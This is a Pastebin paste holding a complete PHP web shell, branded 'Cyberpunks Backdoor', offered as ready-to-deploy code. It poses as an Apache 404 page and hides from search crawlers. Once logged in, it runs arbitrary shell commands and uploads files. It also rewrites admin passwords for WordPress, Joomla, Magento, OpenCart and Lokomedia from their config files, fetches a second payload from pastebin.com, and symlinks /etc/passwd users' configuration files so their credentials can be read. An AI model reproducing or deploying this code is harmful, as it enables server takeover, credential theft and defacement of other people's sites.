Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- session_start();
- mkdir('blackscorpion_here');
- $auth_pass = "b2f3e4e0e14989401b71a435b0500086"; // default: blackscorpion
- $color = "#00ff00";
- $default_action = 'FilesMan';
- $default_use_ajax = true;
- $default_charset = 'UTF-8';
- if(!empty($_SERVER['HTTP_USER_AGENT'])) {
- $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
- if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
- header('HTTP/1.0 404 Not Found');
- exit;
- }
- }
- function login_shell() {
- ?>
- <html>
- <head>
- <title>404 Not Found</title>
- <meta name='author' content='MRAF04'>
- <meta charset="UTF-8">
- <style type='text/css'>
- @import url(https://fonts.googleapis.com/css?family=Jolly +Lodger);
- html {
- background-color: white;
- min-height: 100%;
- background-repeat: no-repeat;
- background-attachment: fixed;
- background-position: center;
- background-size: cover;
- color: black;
- font-family: 'Jolly Lodger';
- font-size: 13px;
- width: 100%;
- padding: 0px;
- -moz-border-radius: 5px;
- -webkit-border-radius: 5px;
- border-radius: 5px;
- }
- li {
- display: inline;
- margin: 5px;
- padding: 5px;
- -moz-border-radius: 5px;
- -webkit-border-radius: 5px;
- border-radius: 5px;
- }
- a {
- padding: 1px;
- border: 1px solid black;
- color: green;
- text-decoration:
- none;color: black;
- font-size:14px;
- }
- a:hover {
- color: purple;
- text-decoration: underline;
- }
- b {
- color: purple;
- }
- input[type=text], input[type=password],input[type=submit] {
- background: white;
- overflow: hidden;
- color: black;
- border: 1px solid white;
- margin: 5px auto;
- padding-left: 5px;
- font-family: 'Ubuntu';
- font-size: 13px;
- -moz-border-radius: 5px;
- -webkit-border-radius: 5px;
- border-radius: 5px;
- position:relative;
- bottom:75px; left:300pt;
- }
- </style>
- </head>
- <h1>404 Not Found</h1>
- <p>The requested URL was not found on this server.</p>
- <p>Additionally, a 404 Not Found
- error was encountered while trying to use an ErrorDocument to handle the request.</p>
- <hr>
- <address>Apache/2.4.16 (Unix) OpenSSL/1.0.1e-fips mod_bwlimited/1.4 Server at Port 80</address>
- </body>
- <center>
- <form method="post">
- <input type="password" name="pass">
- </form>
- <?php
- exit;
- }
- if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
- if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
- $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
- else
- login_shell();
- if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
- @ob_clean();
- $file = $_GET['file'];
- header('Content-Description: File Transfer');
- header('Content-Type: application/octet-stream');
- header('Content-Disposition: attachment; filename="'.basename($file).'"');
- header('Expires: 0');
- header('Cache-Control: must-revalidate');
- header('Pragma: public');
- header('Content-Length: ' . filesize($file));
- readfile($file);
- exit;
- }
- ?>
- <html>
- <head>
- <title>Cyberpunks Backdoor</title>
- <meta name='author' content='MRAF04'>
- <meta charset="UTF-8">
- <style type='text/css'>
- @import url('http://fonts.googleapis.com/css?family=Jolly+Lodger');
- @import url(https://fonts.googleapis.com/css?family=Ubuntu);
- html {
- min-height: 100%;
- background-color: black;
- background-repeat: no-repeat;
- background-attachment: fixed;
- background-position: center;
- background-size: cover;
- color: white;
- font-family: 'Ubuntu';
- font-size: 13px;
- width: 100%;
- padding: 0px;
- -moz-border-radius: 5px;
- -webkit-border-radius: 5px;
- border-radius: 5px;
- }
- li {
- display: inline;
- margin: 5px;
- padding: 5px;
- -moz-border-radius: 5px;
- -webkit-border-radius: 5px;
- border-radius: 5px;
- }
- table, th, td {
- border-collapse:collapse;
- font-family: Tahoma, Geneva, sans-serif;
- background: transparent;
- font-family: 'Ubuntu';
- font-size: 13px;
- -moz-border-radius: 5px;
- -webkit-border-radius: 5px;
- border-radius: 5px;
- }
- .table_home, .th_home, .td_home {
- border: 1px solid #ffffff;
- -moz-border-radius: 5px;
- -webkit-border-radius: 5px;
- border-radius: 5px;
- }
- th {
- padding: 10px;
- }
- a {
- color: #ffffff;
- text-decoration: none;
- }
- b {
- padding: 1px;
- border: 1px solid white;
- color: green;
- text-decoration:
- none;color: white;
- font-size:14px;
- }
- a:hover {
- color: purple;
- text-decoration: underline;
- }
- tr:hover {
- background: #444;
- text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
- color: #FFFFFF; TEXT-DECORATION: none;
- }
- input[type=text], input[type=password],input[type=submit] {
- background: transparent;
- overflow: hidden;
- color: #ffffff;
- border: 1px solid #ffffff;
- margin: 5px auto;
- padding-left: 5px;
- font-family: 'Ubuntu';
- font-size: 13px;
- -moz-border-radius: 5px;
- -webkit-border-radius: 5px;
- border-radius: 5px;
- }
- textarea {
- overflow: hidden;
- border: 1px solid #ffffff;
- width: 100%;
- height: 400px;
- padding-left: 5px;
- margin: 10px auto;
- resize: none;
- background: transparent;
- color: #ffffff;
- font-family: 'Ubuntu';
- font-size: 13px;
- -moz-border-radius: 5px;
- -webkit-border-radius: 5px;
- border-radius: 5px;
- }
- a:focus, input:focus, textarea:focus {
- outline: 0;
- border-color: rgba(82, 168, 236, 0.8);
- -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
- -moz-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
- box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
- select {
- width: 152px;
- background: #000000;
- color: lime;
- border: 1px solid #ffffff;
- margin: 5px auto;
- padding-left: 5px;
- font-family: 'Ubuntu';
- font-size: 13px;
- -moz-border-radius: 5px;
- -webkit-border-radius: 5px;
- border-radius: 5px;
- }
- option:hover {
- background: lime;
- color: #000000;
- }
- </style>
- </head>
- <?php
- function w($dir,$perm) {
- if(!is_writable($dir)) {
- return "<font color=red>".$perm."</font>";
- } else {
- return "<font color=lime>".$perm."</font>";
- }
- }
- function r($dir,$perm) {
- if(!is_readable($dir)) {
- return "<font color=red>".$perm."</font>";
- } else {
- return "<font color=lime>".$perm."</font>";
- }
- }
- function exe($cmd) {
- if(function_exists('system')) {
- @ob_start();
- @system($cmd);
- $buff = @ob_get_contents();
- @ob_end_clean();
- return $buff;
- } elseif(function_exists('exec')) {
- @exec($cmd,$results);
- $buff = "";
- foreach($results as $result) {
- $buff .= $result;
- } return $buff;
- } elseif(function_exists('passthru')) {
- @ob_start();
- @passthru($cmd);
- $buff = @ob_get_contents();
- @ob_end_clean();
- return $buff;
- } elseif(function_exists('shell_exec')) {
- $buff = @shell_exec($cmd);
- return $buff;
- }
- }
- function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
- $ar0=explode($marqueurDebutLien, $text);
- $ar1=explode($marqueurFinLien, $ar0[$i]);
- return trim($ar1[0]);
- }
- function perms($file){
- $perms = fileperms($file);
- if (($perms & 0xC000) == 0xC000) {
- // Socket
- $info = 's';
- } elseif (($perms & 0xA000) == 0xA000) {
- // Symbolic Link
- $info = 'l';
- } elseif (($perms & 0x8000) == 0x8000) {
- // Regular
- $info = '-';
- } elseif (($perms & 0x6000) == 0x6000) {
- // Block special
- $info = 'b';
- } elseif (($perms & 0x4000) == 0x4000) {
- // Directory
- $info = 'd';
- } elseif (($perms & 0x2000) == 0x2000) {
- // Character special
- $info = 'c';
- } elseif (($perms & 0x1000) == 0x1000) {
- // FIFO pipe
- $info = 'p';
- } else {
- // Unknown
- $info = 'u';
- }
- // Owner
- $info .= (($perms & 0x0100) ? 'r' : '-');
- $info .= (($perms & 0x0080) ? 'w' : '-');
- $info .= (($perms & 0x0040) ?
- (($perms & 0x0800) ? 's' : 'x' ) :
- (($perms & 0x0800) ? 'S' : '-'));
- // Group
- $info .= (($perms & 0x0020) ? 'r' : '-');
- $info .= (($perms & 0x0010) ? 'w' : '-');
- $info .= (($perms & 0x0008) ?
- (($perms & 0x0400) ? 's' : 'x' ) :
- (($perms & 0x0400) ? 'S' : '-'));
- // World
- $info .= (($perms & 0x0004) ? 'r' : '-');
- $info .= (($perms & 0x0002) ? 'w' : '-');
- $info .= (($perms & 0x0001) ?
- (($perms & 0x0200) ? 't' : 'x' ) :
- (($perms & 0x0200) ? 'T' : '-'));
- return $info;
- }
- function hdd($s) {
- if($s >= 1073741824)
- return sprintf('%1.2f',$s / 1073741824 ).' GB';
- elseif($s >= 1048576)
- return sprintf('%1.2f',$s / 1048576 ) .' MB';
- elseif($s >= 1024)
- return sprintf('%1.2f',$s / 1024 ) .' KB';
- else
- return $s .' B';
- }
- function findit($mytext,$starttag,$endtag) {
- $posLeft = stripos($mytext,$starttag)+strlen($starttag);
- $posRight = stripos($mytext,$endtag,$posLeft+1);
- return substr($mytext,$posLeft,$posRight-$posLeft);
- }
- function ambilKata($param, $kata1, $kata2){
- if(strpos($param, $kata1) === FALSE) return FALSE;
- if(strpos($param, $kata2) === FALSE) return FALSE;
- $start = strpos($param, $kata1) + strlen($kata1);
- $end = strpos($param, $kata2, $start);
- $return = substr($param, $start, $end - $start);
- return $return;
- }
- function getsource($url) {
- $curl = curl_init($url);
- curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
- $content = curl_exec($curl);
- curl_close($curl);
- return $content;
- }
- function bing($dork) {
- $npage = 1;
- $npages = 30000;
- $allLinks = array();
- $lll = array();
- while($npage <= $npages) {
- $x = getsource("http://www.bing.com/search?q=".$dork."&first=".$npage);
- if($x) {
- preg_match_all('#<h2><a href="(.*?)" h="ID#', $x, $findlink);
- foreach ($findlink[1] as $fl) array_push($allLinks, $fl);
- $npage = $npage + 10;
- if (preg_match("(first=" . $npage . "&)siU", $x, $linksuiv) == 0) break;
- } else break;
- }
- $URLs = array();
- foreach($allLinks as $url){
- $exp = explode("/", $url);
- $URLs[] = $exp[2];
- }
- $array = array_filter($URLs);
- $array = array_unique($array);
- $sss = count(array_unique($array));
- foreach($array as $domain) {
- echo $domain."\n";
- }
- }
- function reverse($url) {
- $ch = curl_init("http://domains.yougetsignal.com/domains.php");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
- curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_POST, 1);
- $resp = curl_exec($ch);
- $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
- $array = explode(",,", $resp);
- unset($array[0]);
- foreach($array as $lnk) {
- $lnk = "http://$lnk";
- $lnk = str_replace(",", "", $lnk);
- echo $lnk."\n";
- ob_flush();
- flush();
- }
- curl_close($ch);
- }
- if(get_magic_quotes_gpc()) {
- function idx_ss($array) {
- return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
- }
- $_POST = idx_ss($_POST);
- $_COOKIE = idx_ss($_COOKIE);
- }
- if(isset($_GET['dir'])) {
- $dir = $_GET['dir'];
- chdir($dir);
- } else {
- $dir = getcwd();
- }
- $kernel = php_uname();
- $ip = gethostbyname($_SERVER['HTTP_HOST']);
- $dir = str_replace("\\","/",$dir);
- $scdir = explode("/", $dir);
- $freespace = hdd(disk_free_space("/"));
- $total = hdd(disk_total_space("/"));
- $used = $total - $freespace;
- $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
- $ds = @ini_get("disable_functions");
- $mysql = (function_exists('mysql_connect')) ? "<font color=lime>MYSQL</font>" : "<font color=red>MYSQL</font>";
- $curl = (function_exists('curl_version')) ? "<font color=lime>CURL</font>" : "<font color=red>CURL</font>";
- $wget = (exe('wget --help')) ? "<font color=lime>WGET</font>" : "<font color=red>WGET</font>";
- $perl = (exe('perl --help')) ? "<font color=lime>PERL</font>" : "<font color=red>PERL</font>";
- $python = (exe('python --help')) ? "<font color=lime>PYTHON</font>" : "<font color=red>PYTHON</font>";
- $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
- if(!function_exists('posix_getegid')) {
- $user = @get_current_user();
- $uid = @getmyuid();
- $gid = @getmygid();
- $group = "?";
- } else {
- $uid = @posix_getpwuid(posix_geteuid());
- $gid = @posix_getgrgid(posix_getegid());
- $user = $uid['name'];
- $uid = $uid['uid'];
- $group = $gid['name'];
- $gid = $gid['gid'];
- }
- echo "<font color=lime>".$kernel."</font><br>";
- echo "Root@Cyberpunks:~";
- foreach($scdir as $c_dir => $cdir) {
- echo "<a href='?dir=";
- for($i = 0; $i <= $c_dir; $i++) {
- echo $scdir[$i];
- if($i != $c_dir) {
- echo "/";
- }
- }
- echo "'>$cdir</a>/";
- }
- echo " [ ".w($dir, perms($dir))." ]<br>";
- echo "<center>";
- echo "<ul><font face='Jolly Lodger' size='9.9px'>";
- echo "<li><font color='red'>Cyberpunks</font> Backdoor</li>";
- echo "<center> </font> </font>";
- echo "<form method='post'>
- <font style='text-decoration: none;'> root@cyberpunks </font>
- <input type='text' size='20' height='10' name='cmd'><input type='submit' name='do_cmd' value='enter'>
- </form>";
- if($_POST['do_cmd']) {
- echo "<pre>".exe($_POST['cmd'])."</pre>";
- }
- if($_POST['upload']) {
- if($_POST['tipe_upload'] == 'biasa') {
- if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
- $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
- } else {
- $act = "<font color=red>failed to upload file</font>";
- }
- } else {
- $root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name'];
- $web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name'];
- if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
- if(@copy($_FILES['ix_file']['tmp_name'], $root)) {
- $act = "<font color=lime>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
- } else {
- $act = "<font color=red>failed to upload file</font>";
- }
- } else {
- $act = "<font color=red>failed to upload file</font>";
- }
- }
- }
- echo "
- <form method='post' enctype='multipart/form-data'>
- <input type='radio' name='tipe_upload' value='biasa' checked> ".w($dir,"Current")."
- <input type='radio' name='tipe_upload' value='home_root'> ".w($_SERVER['DOCUMENT_ROOT'],"Home")."
- <input type='file' name='ix_file'>
- <input type='submit' value='upload' name='upload'>
- </form>";
- echo $act;
- echo "<hr>";
- echo "<center>";
- echo "<ul>";
- echo "<li> <a href='?'>Home </a> </li>";
- echo "<li> <a href='?dir=$dir&do=mass_deface'>Mass Deface</a> </li>";
- echo "<li> <a href='?dir=$dir&do=tconf'>Config</a> </li>";
- echo "<li> <a href='?dir=$dir&do=aeu'>Auto Edit User</a> </li>";
- echo "<li> <a href='?dir=$dir&do=adminer'>Adminer</a> </li>";
- echo "<li> <a style='color: red;' href='?logout=true'>Logout</a> </li>";
- echo "</ul>";
- echo "</center>";
- echo "<hr>";
- if($_GET['logout'] == true) {
- unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
- echo "<script>window.location='?';</script>";
- }
- elseif($_GET['do'] == 'aeu') {
- if($_POST['hajar']) {
- if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
- echo "username atau password harus lebih dari 6 karakter";
- } else {
- $user_baru = $_POST['user_baru'];
- $pass_baru = md5($_POST['pass_baru']);
- $conf = $_POST['config_dir'];
- $scan_conf = scandir($conf);
- foreach($scan_conf as $file_conf) {
- if(!is_file("$conf/$file_conf")) continue;
- $config = file_get_contents("$conf/$file_conf");
- if(preg_match("/JConfig|joomla/",$config)) {
- $dbhost = ambilkata($config,"host = '","'");
- $dbuser = ambilkata($config,"user = '","'");
- $dbpass = ambilkata($config,"password = '","'");
- $dbname = ambilkata($config,"db = '","'");
- $dbprefix = ambilkata($config,"dbprefix = '","'");
- $prefix = $dbprefix."users";
- $conn = mysql_connect($dbhost,$dbuser,$dbpass);
- $db = mysql_select_db($dbname);
- $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
- $result = mysql_fetch_array($q);
- $id = $result['id'];
- $site = ambilkata($config,"sitename = '","'");
- $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
- echo "Config => ".$file_conf."<br>";
- echo "CMS => Joomla<br>";
- if($site == '') {
- echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
- } else {
- echo "Sitename => $site<br>";
- }
- if(!$update OR !$conn OR !$db) {
- echo "Status => <font color=red>".mysql_error()."</font><br><br>";
- } else {
- echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
- }
- mysql_close($conn);
- } elseif(preg_match("/WordPress/",$config)) {
- $dbhost = ambilkata($config,"DB_HOST', '","'");
- $dbuser = ambilkata($config,"DB_USER', '","'");
- $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
- $dbname = ambilkata($config,"DB_NAME', '","'");
- $dbprefix = ambilkata($config,"table_prefix = '","'");
- $prefix = $dbprefix."users";
- $option = $dbprefix."options";
- $conn = mysql_connect($dbhost,$dbuser,$dbpass);
- $db = mysql_select_db($dbname);
- $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
- $result = mysql_fetch_array($q);
- $id = $result[ID];
- $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
- $result2 = mysql_fetch_array($q2);
- $target = $result2[option_value];
- if($target == '') {
- $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
- } else {
- $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
- }
- $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
- echo "Config => ".$file_conf."<br>";
- echo "CMS => Wordpress<br>";
- echo $url_target;
- if(!$update OR !$conn OR !$db) {
- echo "Status => <font color=red>".mysql_error()."</font><br><br>";
- } else {
- echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
- }
- mysql_close($conn);
- } elseif(preg_match("/Magento|Mage_Core/",$config)) {
- $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
- $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
- $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
- $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
- $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
- $prefix = $dbprefix."admin_user";
- $option = $dbprefix."core_config_data";
- $conn = mysql_connect($dbhost,$dbuser,$dbpass);
- $db = mysql_select_db($dbname);
- $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
- $result = mysql_fetch_array($q);
- $id = $result[user_id];
- $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
- $result2 = mysql_fetch_array($q2);
- $target = $result2[value];
- if($target == '') {
- $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
- } else {
- $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
- }
- $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
- echo "Config => ".$file_conf."<br>";
- echo "CMS => Magento<br>";
- echo $url_target;
- if(!$update OR !$conn OR !$db) {
- echo "Status => <font color=red>".mysql_error()."</font><br><br>";
- } else {
- echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
- }
- mysql_close($conn);
- } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
- $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
- $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
- $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
- $dbname = ambilkata($config,"'DB_DATABASE', '","'");
- $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
- $prefix = $dbprefix."user";
- $conn = mysql_connect($dbhost,$dbuser,$dbpass);
- $db = mysql_select_db($dbname);
- $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
- $result = mysql_fetch_array($q);
- $id = $result[user_id];
- $target = ambilkata($config,"HTTP_SERVER', '","'");
- if($target == '') {
- $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
- } else {
- $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
- }
- $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
- echo "Config => ".$file_conf."<br>";
- echo "CMS => OpenCart<br>";
- echo $url_target;
- if(!$update OR !$conn OR !$db) {
- echo "Status => <font color=red>".mysql_error()."</font><br><br>";
- } else {
- echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
- }
- mysql_close($conn);
- } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
- $dbhost = ambilkata($config,'server = "','"');
- $dbuser = ambilkata($config,'username = "','"');
- $dbpass = ambilkata($config,'password = "','"');
- $dbname = ambilkata($config,'database = "','"');
- $prefix = "users";
- $option = "identitas";
- $conn = mysql_connect($dbhost,$dbuser,$dbpass);
- $db = mysql_select_db($dbname);
- $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
- $result = mysql_fetch_array($q);
- $target = $result[alamat_website];
- if($target == '') {
- $target2 = $result[url];
- $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
- if($target2 == '') {
- $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
- } else {
- $cek_login3 = file_get_contents("$target2/adminweb/");
- $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
- if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
- $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
- } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
- $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
- } else {
- $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
- }
- }
- } else {
- $cek_login = file_get_contents("$target/adminweb/");
- $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
- if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
- $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
- } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
- $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
- } else {
- $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
- }
- }
- $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
- echo "Config => ".$file_conf."<br>";
- echo "CMS => Lokomedia<br>";
- if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
- echo $url_target2;
- } else {
- echo $url_target;
- }
- if(!$update OR !$conn OR !$db) {
- echo "Status => <font color=red>".mysql_error()."</font><br><br>";
- } else {
- echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
- }
- mysql_close($conn);
- }
- }
- }
- } else {
- echo "<center>
- <h1>Auto Edit User Config</h1>
- <form method='post'>
- DIR Config: <br>
- <input type='text' size='50' name='config_dir' value='$dir'><br><br>
- Set User & Pass: <br>
- <input type='text' name='user_baru' value='mraf04' placeholder='user_baru'><br>
- <input type='text' name='pass_baru' value='mraf04' placeholder='pass_baru'><br>
- <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
- </form>
- <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
- ";
- }
- }
- elseif($_GET['do'] == 'adminer') {
- $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
- function adminer($url, $isi) {
- $fp = fopen($isi, "w");
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_FILE, $fp);
- return curl_exec($ch);
- curl_close($ch);
- fclose($fp);
- ob_flush();
- flush();
- }
- if(file_exists('sql.php')) {
- echo "<center><font color=lime><a href='$full/sql.php' target='_blank'>adminer login</a></font></center>";
- } else {
- if(adminer("http://pastebin.com/raw/EzJmmzXt","sql.php")) {
- echo "<center><font color=lime><a href='$full/sql.php' target='_blank'>-> adminer login <-</a></font></center>";
- } else {
- echo "<center><font color=red>gagal buat file adminer</font></center>";
- }
- }
- }
- elseif($_GET['do'] == 'entod') {
- echo "<center>";
- echo "<ul>";
- echo "<li> <a href='?dir=$dir&do=indi'>Config Grabber</a> </li>";
- echo "</ul>";
- echo "</center>";
- $byphp = "safe_mode = Off
- disable_functions = None
- ";
- file_put_contents("php.ini",$byphp);
- echo '<CENTER><b>Config Grabber | MRAF04</b><br><br>';
- ?>
- <bR><form method=post>
- <textarea style='width: 543px; height: 420px;' name=user><?php $users=file("/etc/passwd");
- foreach($users as $user)
- {
- $str=explode(":",$user);
- echo $str[0]."\n";
- }
- ?></textarea><br>
- <input type=submit name=su value="Lets Start" /></form></CENTER>
- <center>
- <?php
- error_reporting(0);
- echo "<font color=#ff00 size=2 face=\"comic sans ms\">";
- if(isset($_POST['su']))
- {
- mkdir('lol',0777);
- $rr = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
- $g = fopen('lol/.htaccess','w');
- fwrite($g,$rr);
- $indishell = symlink("/","lol/root");
- $rt="<a href=lol/root target='_blank'><font color=white size=3 face=\"comic sans ms\"> OwN3d</font></a>";
- echo "Please check link given below for / folder symlink <br><u>$rt</u>";
- $dir=mkdir('CBM',0777);
- $r = " Options all \n DirectoryIndex jmbut.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
- $f = fopen('INJECTION/.htaccess','w');
- fwrite($f,$r);
- $consym="<a href=CBM/ target='_blank'><font color=white size=3 face=\"comic sans ms\">configuration files</font></a>";
- echo "<br>The link given below for configuration file symlink...open it, once processing finish <br><u><font color=white size=2 face=\"comic sans ms\">$consym<br><br></font></u>";
- $usr=explode("\n",$_POST['user']);
- $configuration=array("wp-config.php",
- "wordpress/wp-config.php",
- "web/wp-config.php",
- "wp/wp-config.php",
- "press/wp-config.php",
- "wordpress/beta/wp-config.php",
- "news/wp-config.php",
- "new/wp-config.php",
- "blogs/wp-config.php",
- "home/wp-config.php",
- "blog/wp-config.php",
- "protal/wp-config.php",
- "site/wp-config.php",
- "main/wp-config.php",
- "test/wp-config.php",
- "wp/beta/wp-config.php",
- "beta/wp-config.php",
- "joomla/configuration.php",
- "protal/configuration.php",
- "joo/configuration.php",
- "cms/configuration.php",
- "site/configuration.php",
- "main/configuration.php",
- "news/configuration.php",
- "new/configuration.php",
- "home/configuration.php",
- "configuration.php",
- "SSI.php",
- "forum/SSI.php",
- "forum/inc/config.php",
- "forum/includes/config.php",
- "upload/includes/config.php",
- "cc/includes/config.php",
- "vb/includes/config.php",
- "vb3/includes/config.php",
- "cpanel/configuration.php",
- "panel/configuration.php",
- "ubmitticket.php",
- "manage/configuration.php",
- "myshop/configuration.php",
- "beta/configuration.php",
- "includes/config.php",
- "lib/config.php",
- "conf_global.php",
- "inc/config.php",
- "incl/config.php",
- "include/db.php",
- "include/config.php",
- "includes/functions.php",
- "includes/dist-configure.php",
- "connect.php",
- "mk_conf.php",
- "config/koneksi.php",
- "system/sistem.php",
- "config.php",
- "Settings.php",
- "settings.php",
- "sites/default/settings.php",
- "smf/Settings.php",
- "forum/Settings.php",
- "forums/Settings.php",
- "host/configuration.php",
- "hosting/configuration.php",
- "hosts/configuration.php",
- "zencart/includes/dist-configure.php",
- "shop/includes/dist-configure.php",
- "whm/configuration.php",
- "whmc/configuration.php",
- "whmcs/configuration.php",
- "whmc/WHM/configuration.php",
- "whm/WHMCS/configuration.php",
- "whm/whmcs/configuration.php",
- "order/configuration.php",
- "support/configuration.php",
- "supports/configuration.php",
- "oscommerce/includes/configure.php",
- "oscommerces/includes/configure.php",
- "shopping/includes/configure.php",
- "sale/includes/configure.php",
- "config.inc.php",
- "amember/config.inc.php",
- "clients/configuration.php",
- "client/configuration.php",
- "clientes/configuration.php",
- "cliente/configuration.php",
- "clientsupport/configuration.php",
- "billing/configuration.php",
- "billings/configuration.php",
- "admin/conf.php",
- "admin/config.php");
- foreach($usr as $uss )
- {
- $us=trim($uss);
- foreach($configuration as $c)
- {
- $rs="/home/".$us."/public_html/".$c;
- $r="CBM/".$us." .. ".$c;
- symlink($rs,$r);
- }
- }
- }
